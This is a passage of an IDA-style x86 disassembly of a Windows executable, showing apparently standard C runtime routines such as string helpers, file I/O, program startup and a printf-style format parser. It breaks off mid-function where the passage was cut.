; ---------------------------------------------------------------------------
loc_40D375: ; CODE XREF: sub_40D361+Ej
dec [ebp+arg_4]
push esi
jz short loc_40D3A5
mov esi, [ebp+arg_8]
loc_40D37E: ; CODE XREF: sub_40D361+42j
dec dword ptr [esi+4]
js short loc_40D38D
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_40D394
; ---------------------------------------------------------------------------
loc_40D38D: ; CODE XREF: sub_40D361+20j
push esi
call sub_41176F
pop ecx
loc_40D394: ; CODE XREF: sub_40D361+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_40D3AF
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_40D3A5
dec [ebp+arg_4]
jnz short loc_40D37E
loc_40D3A5: ; CODE XREF: sub_40D361+18j
; sub_40D361+3Dj ...
and byte ptr [edi], 0
loc_40D3A8: ; CODE XREF: sub_40D361+55j
mov eax, ebx
pop esi
loc_40D3AB: ; CODE XREF: sub_40D361+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40D3AF: ; CODE XREF: sub_40D361+36j
cmp edi, [ebp+arg_0]
jnz short loc_40D3A5
xor ebx, ebx
jmp short loc_40D3A8
sub_40D361 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3C0 proc near ; CODE XREF: sub_406BAB+198Fp
; sub_406BAB+19ADp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_40D3E1
xor eax, eax
jmp short loc_40D3E3
; ---------------------------------------------------------------------------
loc_40D3E1: ; CODE XREF: sub_40D3C0+1Bj
mov eax, edi
loc_40D3E3: ; CODE XREF: sub_40D3C0+1Fj
cld
pop edi
leave
retn
sub_40D3C0 endp
; =============== S U B R O U T I N E =======================================
sub_40D3E7 proc near ; CODE XREF: sub_406BAB+1789p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4170DC ; DeleteFileA
test eax, eax
jnz short loc_40D3FD
call dword_417044 ; RtlGetLastWin32Error
jmp short loc_40D3FF
; ---------------------------------------------------------------------------
loc_40D3FD: ; CODE XREF: sub_40D3E7+Cj
xor eax, eax
loc_40D3FF: ; CODE XREF: sub_40D3E7+14j
test eax, eax
jz short loc_40D40E
push eax
call sub_411C26
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40D40E: ; CODE XREF: sub_40D3E7+1Aj
xor eax, eax
retn
sub_40D3E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D411 proc near ; CODE XREF: sub_406BAB+16F5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4124A9
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D768
push [ebp+arg_0]
mov edi, eax
push esi
call sub_412536
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40D411 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D450 proc near ; CODE XREF: sub_406BAB+7A4p
; sub_40A573+2ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_40D481
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_40D47F
jz short loc_40D481
dec ecx
dec ecx
loc_40D47F: ; CODE XREF: sub_40D450+29j
not ecx
loc_40D481: ; CODE XREF: sub_40D450+9j
; sub_40D450+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_40D450 endp
; =============== S U B R O U T I N E =======================================
sub_40D488 proc near ; CODE XREF: sub_40A573+2E2p
; sub_40A573+42Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_40D504
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40D4A7
cmp edi, 1
jz short loc_40D4A7
cmp edi, 2
jnz short loc_40D504
loc_40D4A7: ; CODE XREF: sub_40D488+13j
; sub_40D488+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_40D4BE
push esi
call sub_41260D
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_40D4BE: ; CODE XREF: sub_40D488+27j
push esi
call sub_41169D
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_40D4D3
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_40D4E7
; ---------------------------------------------------------------------------
loc_40D4D3: ; CODE XREF: sub_40D488+42j
test al, 1
jz short loc_40D4E7
test al, 8
jz short loc_40D4E7
test ah, 4
jnz short loc_40D4E7
mov dword ptr [esi+18h], 200h
loc_40D4E7: ; CODE XREF: sub_40D488+49j
; sub_40D488+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_412573
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_40D511
; ---------------------------------------------------------------------------
loc_40D504: ; CODE XREF: sub_40D488+Bj
; sub_40D488+1Dj
mov dword_47F914, 16h
or eax, 0FFFFFFFFh
loc_40D511: ; CODE XREF: sub_40D488+7Aj
pop edi
pop esi
retn
sub_40D488 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D514 proc near ; CODE XREF: start-2167j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417638
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_417124 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_47F92C, edx
mov ecx, eax
and ecx, 0FFh
mov dword_47F928, ecx
shl ecx, 8
add ecx, edx
mov dword_47F924, ecx
shr eax, 10h
mov dword_47F920, eax
xor esi, esi
push esi
call sub_40EBB3
pop ecx
test eax, eax
jnz short loc_40D580
push 1Ch
call sub_40D62F
pop ecx
loc_40D580: ; CODE XREF: sub_40D514+62j
mov [ebp+var_4], esi
call sub_412D79
call dword_417120 ; GetCommandLineA
mov dword_480F8C, eax
call sub_412C47
mov dword_47F960, eax
call sub_4129FA
call sub_412941
call sub_40D118
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_41711C ; GetStartupInfoA
call sub_4128E9
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_40D5CD
movzx eax, [ebp+var_2C]
jmp short loc_40D5D0
; ---------------------------------------------------------------------------
loc_40D5CD: ; CODE XREF: sub_40D514+B1j
push 0Ah
pop eax
loc_40D5D0: ; CODE XREF: sub_40D514+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_41708C ; GetModuleHandleA
push eax
call sub_406422
mov [ebp+var_60], eax
push eax
call sub_40D145
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_412765
pop ecx
pop ecx
retn
sub_40D514 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_40D156
; =============== S U B R O U T I N E =======================================
sub_40D60A proc near ; CODE XREF: sub_40C212+16p
; sub_412941+4Ep ...
arg_0 = dword ptr 4
cmp dword_47F968, 1
jnz short loc_40D618
call sub_413004
loc_40D618: ; CODE XREF: sub_40D60A+7j
push [esp+arg_0]
call sub_41303D
push 0FFh
call off_41DBF0
pop ecx
pop ecx
retn
sub_40D60A endp
; =============== S U B R O U T I N E =======================================
sub_40D62F proc near ; CODE XREF: sub_40D514+66p
arg_0 = dword ptr 4
cmp dword_47F968, 1
jnz short loc_40D63D
call sub_413004
loc_40D63D: ; CODE XREF: sub_40D62F+7j
push [esp+arg_0]
call sub_41303D
pop ecx
push 0FFh
call dword_41706C ; ExitProcess
retn
sub_40D62F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D653 proc near ; CODE XREF: sub_40B0B3+46p
; sub_40BDE7+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_40D75C
test al, 40h
jnz loc_40D75C
test al, 1
jz short loc_40D68B
and dword ptr [esi+4], 0
test al, 10h
jz loc_40D75C
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_40D68B: ; CODE XREF: sub_40D653+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_40D6C5
cmp esi, offset dword_420330
jz short loc_40D6B3
cmp esi, offset dword_420350
jnz short loc_40D6BE
loc_40D6B3: ; CODE XREF: sub_40D653+56j
push ebx
call sub_413381
test eax, eax
pop ecx
jnz short loc_40D6C5
loc_40D6BE: ; CODE XREF: sub_40D653+5Ej
push esi
call sub_41333D
pop ecx
loc_40D6C5: ; CODE XREF: sub_40D653+4Ej
; sub_40D653+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_40D732
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_40D6F5
push edi
push eax
push ebx
call sub_413190
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_40D728
; ---------------------------------------------------------------------------
loc_40D6F5: ; CODE XREF: sub_40D653+90j
cmp ebx, 0FFFFFFFFh
jz short loc_40D710
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_480C40[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_40D715
; ---------------------------------------------------------------------------
loc_40D710: ; CODE XREF: sub_40D653+A5j
mov eax, offset dword_420278
loc_40D715: ; CODE XREF: sub_40D653+BBj
test byte ptr [eax+4], 20h
jz short loc_40D728
push 2
push 0
push ebx
call sub_412573
add esp, 0Ch
loc_40D728: ; CODE XREF: sub_40D653+A0j
; sub_40D653+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_40D746
; ---------------------------------------------------------------------------
loc_40D732: ; CODE XREF: sub_40D653+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_413190
add esp, 0Ch
mov [ebp+arg_4], eax
loc_40D746: ; CODE XREF: sub_40D653+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_40D752
or dword ptr [esi+0Ch], 20h
jmp short loc_40D761
; ---------------------------------------------------------------------------
loc_40D752: ; CODE XREF: sub_40D653+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_40D764
; ---------------------------------------------------------------------------
loc_40D75C: ; CODE XREF: sub_40D653+10j
; sub_40D653+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_40D761: ; CODE XREF: sub_40D653+FDj
or eax, 0FFFFFFFFh
loc_40D764: ; CODE XREF: sub_40D653+107j
pop esi
pop ebx
pop ebp
retn
sub_40D653 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D768 proc near ; CODE XREF: sub_40B0B3+29p
; sub_40BDE7+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_40DE81
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_40D79C
; ---------------------------------------------------------------------------
loc_40D794: ; CODE XREF: sub_40D768+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_40D79C: ; CODE XREF: sub_40D768+2Aj
cmp [ebp+var_14], edx
jl loc_40DE81
cmp bl, 20h
jl short loc_40D7BD
cmp bl, 78h
jg short loc_40D7BD
movsx eax, bl
mov al, byte_417624[eax]
and eax, 0Fh
jmp short loc_40D7BF
; ---------------------------------------------------------------------------
loc_40D7BD: ; CODE XREF: sub_40D768+40j
; sub_40D768+45j
xor eax, eax
loc_40D7BF: ; CODE XREF: sub_40D768+53j
movsx eax, byte_417644[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_40DE70 ; default
jmp off_40DE89[eax*4] ; switch jump
loc_40D7DD: ; DATA XREF: .nsp0:off_40DE89o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0040D7D6 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D7F8: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
movsx eax, bl ; jumptable 0040D7D6 case 2
sub eax, 20h
jz short loc_40D83B
sub eax, 3
jz short loc_40D832
sub eax, 8
jz short loc_40D829
dec eax
dec eax
jz short loc_40D820
sub eax, 3
jnz loc_40DE70 ; default
or [ebp+var_4], 8
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D820: ; CODE XREF: sub_40D768+A4j
or [ebp+var_4], 4
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D829: ; CODE XREF: sub_40D768+A0j
or [ebp+var_4], 1
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D832: ; CODE XREF: sub_40D768+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D83B: ; CODE XREF: sub_40D768+96j
or [ebp+var_4], 2
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D844: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
cmp bl, 2Ah ; jumptable 0040D7D6 case 3
jnz short loc_40D86C
lea eax, [ebp+arg_8]
push eax
call sub_40DF47
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_40DE70 ; default
or [ebp+var_4], 4
neg eax
loc_40D864: ; CODE XREF: sub_40D768+111j
mov [ebp+var_20], eax
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D86C: ; CODE XREF: sub_40D768+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_40D864
; ---------------------------------------------------------------------------
loc_40D87B: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
mov [ebp+var_10], edx ; jumptable 0040D7D6 case 4
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D883: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
cmp bl, 2Ah ; jumptable 0040D7D6 case 5
jnz short loc_40D8A6
lea eax, [ebp+arg_8]
push eax
call sub_40DF47
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_40DE70 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D8A6: ; CODE XREF: sub_40D768+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D8B8: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
cmp bl, 49h ; jumptable 0040D7D6 case 6
jz short loc_40D8EB
cmp bl, 68h
jz short loc_40D8E2
cmp bl, 6Ch
jz short loc_40D8D9
cmp bl, 77h
jnz loc_40DE70 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D8D9: ; CODE XREF: sub_40D768+15Dj
or [ebp+var_4], 10h
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D8E2: ; CODE XREF: sub_40D768+158j
or [ebp+var_4], 20h
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D8EB: ; CODE XREF: sub_40D768+153j
cmp byte ptr [edi], 36h
jnz short loc_40D904
cmp byte ptr [edi+1], 34h
jnz short loc_40D904
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D904: ; CODE XREF: sub_40D768+186j
; sub_40D768+18Cj
mov [ebp+var_30], edx
loc_40D907: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
mov ecx, off_41FD78 ; jumptable 0040D7D6 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40D933
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_40DEA9
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_40D933: ; CODE XREF: sub_40D768+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_40DEA9
add esp, 0Ch
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40D94B: ; CODE XREF: sub_40D768+6Ej
; DATA XREF: .nsp0:off_40DE89o
movsx eax, bl ; jumptable 0040D7D6 case 7
cmp eax, 67h
jg loc_40DB73
cmp eax, 65h
jge loc_40D9F6
cmp eax, 58h
jg loc_40DA54
jz loc_40DBE7
sub eax, 43h
jz loc_40DA17
dec eax
dec eax
jz short loc_40D9EC
dec eax
dec eax
jz short loc_40D9EC
sub eax, 0Ch
jnz loc_40DD72
test word ptr [ebp+var_4], 830h
jnz short loc_40D995
or byte ptr [ebp+var_4+1], 8
loc_40D995: ; CODE XREF: sub_40D768+227j
; sub_40D768+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_40D9A2
mov esi, 7FFFFFFFh
loc_40D9A2: ; CODE XREF: sub_40D768+233j
lea eax, [ebp+arg_8]
push eax
call sub_40DF47
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_40DBBB
test ecx, ecx
jnz short loc_40D9CA
mov ecx, off_41DBFC
mov [ebp+var_8], ecx
loc_40D9CA: ; CODE XREF: sub_40D768+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_40D9D3: ; CODE XREF: sub_40D768+282j
mov edx, esi
dec esi
test edx, edx
jz loc_40DBB2
cmp word ptr [eax], 0
jz loc_40DBB2
inc eax
inc eax
jmp short loc_40D9D3
; ---------------------------------------------------------------------------
loc_40D9EC: ; CODE XREF: sub_40D768+212j
; sub_40D768+216j
mov [ebp+var_34], 1
add bl, 20h
loc_40D9F6: ; CODE XREF: sub_40D768+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_40DADA
mov [ebp+var_10], 6
jmp loc_40DAE8
; ---------------------------------------------------------------------------
loc_40DA17: ; CODE XREF: sub_40D768+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_40DA23
or byte ptr [ebp+var_4+1], 8
loc_40DA23: ; CODE XREF: sub_40D768+2B5j
; sub_40D768+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_40DA6A
call sub_40DF64
push eax
lea eax, [ebp+var_248]
push eax
call sub_413460
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_40DA7D
mov [ebp+var_28], 1
jmp short loc_40DA7D
; ---------------------------------------------------------------------------
loc_40DA54: ; CODE XREF: sub_40D768+1FBj
sub eax, 5Ah
jz short loc_40DA8B
sub eax, 9
jz short loc_40DA23
dec eax
jz loc_40DC4D
jmp loc_40DD72
; ---------------------------------------------------------------------------
loc_40DA6A: ; CODE XREF: sub_40D768+2C5j
call sub_40DF47
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_40DA7D: ; CODE XREF: sub_40D768+2E1j
; sub_40D768+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_40DD72
; ---------------------------------------------------------------------------
loc_40DA8B: ; CODE XREF: sub_40D768+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_40DF47
test eax, eax
pop ecx
jz short loc_40DACC
mov ecx, [eax+4]
test ecx, ecx
jz short loc_40DACC
test byte ptr [ebp+var_4+1], 8
jz short loc_40DABD
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_40DD72
; ---------------------------------------------------------------------------
loc_40DABD: ; CODE XREF: sub_40D768+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_40DD6F
; ---------------------------------------------------------------------------
loc_40DACC: ; CODE XREF: sub_40D768+32Fj
; sub_40D768+336j
mov eax, off_41DBF8
mov [ebp+var_8], eax
push eax
jmp loc_40DB68
; ---------------------------------------------------------------------------
loc_40DADA: ; CODE XREF: sub_40D768+29Dj
jnz short loc_40DAE8
cmp bl, 67h
jnz short loc_40DAE8
mov [ebp+var_10], 1
loc_40DAE8: ; CODE XREF: sub_40D768+2AAj
; sub_40D768:loc_40DADAj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_41FD50
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_40DB3A
cmp [ebp+var_10], 0
jnz short loc_40DB3A
lea eax, [ebp+var_248]
push eax
call off_41FD5C
pop ecx
loc_40DB3A: ; CODE XREF: sub_40D768+3BCj
; sub_40D768+3C2j
cmp bl, 67h
jnz short loc_40DB51
test esi, esi
jnz short loc_40DB51
lea eax, [ebp+var_248]
push eax
call off_41FD54
pop ecx
loc_40DB51: ; CODE XREF: sub_40D768+3D5j
; sub_40D768+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_40DB67
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_40DB67: ; CODE XREF: sub_40D768+3F0j
push edi
loc_40DB68: ; CODE XREF: sub_40D768+36Dj
call sub_40B5B0
pop ecx
jmp loc_40DD6F
; ---------------------------------------------------------------------------
loc_40DB73: ; CODE XREF: sub_40D768+1E9j
sub eax, 69h
jz loc_40DC4D
sub eax, 5
jz loc_40DC23
dec eax
jz loc_40DC10
dec eax
jz short loc_40DBE0
sub eax, 3
jz loc_40D995
dec eax
dec eax
jz loc_40DC51
sub eax, 3
jnz loc_40DD72
mov [ebp+var_2C], 27h
jmp short loc_40DBEE
; ---------------------------------------------------------------------------
loc_40DBB2: ; CODE XREF: sub_40D768+270j
; sub_40D768+27Aj
sub eax, ecx
sar eax, 1
jmp loc_40DD6F
; ---------------------------------------------------------------------------
loc_40DBBB: ; CODE XREF: sub_40D768+24Fj
test ecx, ecx
jnz short loc_40DBC8
mov ecx, off_41DBF8
mov [ebp+var_8], ecx
loc_40DBC8: ; CODE XREF: sub_40D768+455j
mov eax, ecx
loc_40DBCA: ; CODE XREF: sub_40D768+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_40DBD9
cmp byte ptr [eax], 0
jz short loc_40DBD9
inc eax
jmp short loc_40DBCA
; ---------------------------------------------------------------------------
loc_40DBD9: ; CODE XREF: sub_40D768+467j
; sub_40D768+46Cj
sub eax, ecx
jmp loc_40DD6F
; ---------------------------------------------------------------------------
loc_40DBE0: ; CODE XREF: sub_40D768+425j
mov [ebp+var_10], 8
loc_40DBE7: ; CODE XREF: sub_40D768+201j
mov [ebp+var_2C], 7
loc_40DBEE: ; CODE XREF: sub_40D768+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_40DC58
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_40DC58
; ---------------------------------------------------------------------------
loc_40DC10: ; CODE XREF: sub_40D768+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_40DC58
or byte ptr [ebp+var_4+1], 2
jmp short loc_40DC58
; ---------------------------------------------------------------------------
loc_40DC23: ; CODE XREF: sub_40D768+417j
lea eax, [ebp+arg_8]
push eax
call sub_40DF47
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_40DC3C
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_40DC41
; ---------------------------------------------------------------------------
loc_40DC3C: ; CODE XREF: sub_40D768+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_40DC41: ; CODE XREF: sub_40D768+4D2j
mov [ebp+var_28], 1
jmp loc_40DE70 ; default
; ---------------------------------------------------------------------------
loc_40DC4D: ; CODE XREF: sub_40D768+2F7j
; sub_40D768+40Ej
or [ebp+var_4], 40h
loc_40DC51: ; CODE XREF: sub_40D768+432j
mov [ebp+var_C], 0Ah
loc_40DC58: ; CODE XREF: sub_40D768+491j
; sub_40D768+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_40DC6A
lea eax, [ebp+arg_8]
push eax
call sub_40DF54
pop ecx
jmp short loc_40DCAB
; ---------------------------------------------------------------------------
loc_40DC6A: ; CODE XREF: sub_40D768+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_40DC91
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_40DC86
call sub_40DF47
pop ecx
movsx eax, ax
loc_40DC83: ; CODE XREF: sub_40D768+527j
; sub_40D768+539j
cdq
jmp short loc_40DCAB
; ---------------------------------------------------------------------------
loc_40DC86: ; CODE XREF: sub_40D768+510j
call sub_40DF47
pop ecx
movzx eax, ax
jmp short loc_40DC83
; ---------------------------------------------------------------------------
loc_40DC91: ; CODE XREF: sub_40D768+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_40DCA3
call sub_40DF47
pop ecx
jmp short loc_40DC83
; ---------------------------------------------------------------------------
loc_40DCA3: ; CODE XREF: sub_40D768+531j
call sub_40DF47
pop ecx
xor edx, edx
loc_40DCAB: ; CODE XREF: sub_40D768+500j
; sub_40D768+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_40DCCC
test edx, edx
jg short loc_40DCCC
jl short loc_40DCBB
test eax, eax
jnb short loc_40DCCC
loc_40DCBB: ; CODE XREF: sub_40D768+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_40DCD0
; ---------------------------------------------------------------------------
loc_40DCCC: ; CODE XREF: sub_40D768+547j
; sub_40D768+54Bj ...
mov esi, eax
mov edi, edx
loc_40DCD0: ; CODE XREF: sub_40D768+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_40DCD9
and edi, 0
loc_40DCD9: ; CODE XREF: sub_40D768+56Cj
cmp [ebp+var_10], 0
jge short loc_40DCE8
mov [ebp+var_10], 1
jmp short loc_40DCEC
; ---------------------------------------------------------------------------
loc_40DCE8: ; CODE XREF: sub_40D768+575j
and [ebp+var_4], 0FFFFFFF7h
loc_40DCEC: ; CODE XREF: sub_40D768+57Ej
mov eax, esi
or eax, edi
jnz short loc_40DCF6
and [ebp+var_1C], 0
loc_40DCF6: ; CODE XREF: sub_40D768+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_40DCFC: ; CODE XREF: sub_40D768+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_40DD0C
